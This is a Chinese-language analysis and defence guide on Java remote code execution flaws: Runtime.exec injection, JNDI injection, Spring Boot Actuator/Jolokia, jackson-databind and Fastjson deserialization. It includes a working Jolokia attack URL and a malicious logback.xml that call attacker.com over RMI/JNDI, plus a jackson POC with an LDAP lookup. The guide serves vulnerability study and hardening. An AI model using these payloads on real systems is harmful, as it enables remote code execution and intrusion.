春眠不觉晓,RCE知多少?
字数 1855 2025-08-26 22:12:03
Java RCE漏洞分析与防护指南
1. 基础RCE漏洞原理
1.1 命令执行漏洞
通过Java执行系统命令的典型方式:
// 方式1:使用Runtime.exec()
Runtime run = Runtime.getRuntime();
Process p = run.exec(cmd);
// 方式2:使用ProcessBuilder
new ProcessBuilder(cmdArray).start();
漏洞成因:
- 未对用户输入参数进行过滤
- 未验证参数合法性
- 直接拼接用户输入到命令中
关键点:
Process对象代表本地子进程BufferedInputStream提供缓冲功能,继承自FilterInputStream- 漏洞本质是未经验证的用户输入直接进入系统命令执行环节
2. Java反序列化相关漏洞
2.1 基础知识
核心概念:
- Java序列化/反序列化:对象↔字节数组转换机制
- RMI(远程方法调用):跨虚拟机通信
- JRMP协议:RMI的底层通信协议
- JMX(Java管理扩展):管理和监控API
- JNDI(Java命名和目录接口):服务名称与对象关联的目录系统
2.2 JNDI注入原理
攻击流程:
- 攻击者控制JNDI查找的地址
- 指向恶意RMI/LDAP服务
- 服务返回恶意序列化对象
- 目标应用反序列化时执行恶意代码
推荐阅读:
- 《深入理解JNDI注入与Java反序列化漏洞利用》
- 《JNDI注入原理及利用》
- MicroFocus研究论文(英文)
3. Spring Boot Actuator RCE漏洞
3.1 漏洞背景
Actuator是Spring Boot提供的监控模块,暴露端点(endpoints)用于系统自省和监控。如果权限控制不当,攻击者可访问端点获取敏感信息或执行RCE。
3.2 漏洞利用(Jolokia案例)
利用步骤:
- 访问
/jolokia/list端点 - 找到
reloadByURL方法 - 构造恶意
logback.xml的URL - 通过JNDI注入执行RCE
示例攻击URL:
http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/attacker.com/logback.xml
恶意logback.xml内容:
<configuration>
<insertFromJNDI env-entry-name="rmi://attacker.com:1389/exploit" as="appName" />
</configuration>
3.3 源码分析
关键代码(JMXConfigurator.reloadByURL):
public void reloadByURL(URL url) throws JoranException {
// 重置日志配置
loggerContext.reset();
if (url != null) {
JoranConfigurator configurator = new JoranConfigurator();
configurator.setContext(loggerContext);
configurator.doConfigure(url); // 加载外部配置
}
}
3.4 审计关键词
需关注的Actuator端点:
trace health loggers metrics autoconfig heapdump threaddump
env info dump configprops mappings audit events beans jolokia
cloudfoundry application hystrix.stream actuator
完整端点列表:
/actuator/auditevents
/actuator/beans
/actuator/health
/actuator/conditions
/actuator/configprops
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/metrics
/actuator/scheduledtasks
/actuator/httptrace
/actuator/mappings
/actuator/jolokia
/actuator/hystrix.stream
4. FasterXML/jackson-databind RCE漏洞
4.1 漏洞背景
FasterXML/jackson-databind是Java对象与JSON/XML转换的库,存在反序列化漏洞。
4.2 漏洞POC
public class Poc {
public static void main(String args[]) {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/Exploit\"}]";
try {
mapper.readValue(json, Object.class);
} catch (IOException e) {
e.printStackTrace();
}
}
}
4.3 漏洞分析
攻击链:
- 利用
JndiConverter类 - 通过
AbstractConverter.toObject()方法 - 最终调用
setAsText()方法触发JNDI查找
关键代码:
public final void setAsText(String text) {
Object value = this.toObject(this.trim ? text.trim() : text);
super.setValue(value); // 触发RCE
}
4.4 修复方案
- 升级jackson-databind至安全版本:
- 2.9.10.3
- 2.8.11.5
- 2.10.x
- 检查并移除
xbean-reflect依赖
5. 其他常见RCE漏洞
5.1 Fastjson系列漏洞
-
TemplatesImpl利用:
- 影响版本:fastjson ≤ 1.2.24
- 需开启
Feature.SupportNonPublicField
-
无AutoType利用:
- 影响版本:fastjson < 1.2.48
- 默认配置即可利用
-
HikariConfig利用:
- 影响版本:fastjson ≤ 1.2.59
- 需开启AutoType
-
CommonsProxy利用:
- 影响版本:fastjson ≤ 1.2.61
- 需开启AutoType
5.2 CAS反序列化漏洞
-
4.1.x~4.1.6:
- 可利用默认密钥进行反序列化攻击
-
4.1.7~4.2.x:
- 需要知道加密key和签名key才能利用
6. 防护措施
6.1 通用防护
- 对所有用户输入进行严格过滤和验证
- 使用白名单而非黑名单机制
- 最小权限原则运行应用
6.2 Actuator专项防护
- 引入Spring Security依赖
- 启用安全限制和身份验证
- 设置单独的Actuator管理端口
- 限制管理端口不对外网开放
6.3 反序列化防护
- 及时更新存在漏洞的库
- 禁用不必要的序列化功能
- 使用安全的序列化替代方案
- 实施严格的类加载限制
7. 参考资源
- 《SpringBoot应用监控Actuator使用的安全隐患》
- 《Attack Spring Boot Actuator via jolokia Part 2》
- FasterXML/jackson-databind官方修复提交
- 先知社区相关漏洞分析文章
通过全面理解这些RCE漏洞的原理、利用方式和防护措施,开发者和安全人员可以更有效地防范Java应用中的远程代码执行风险。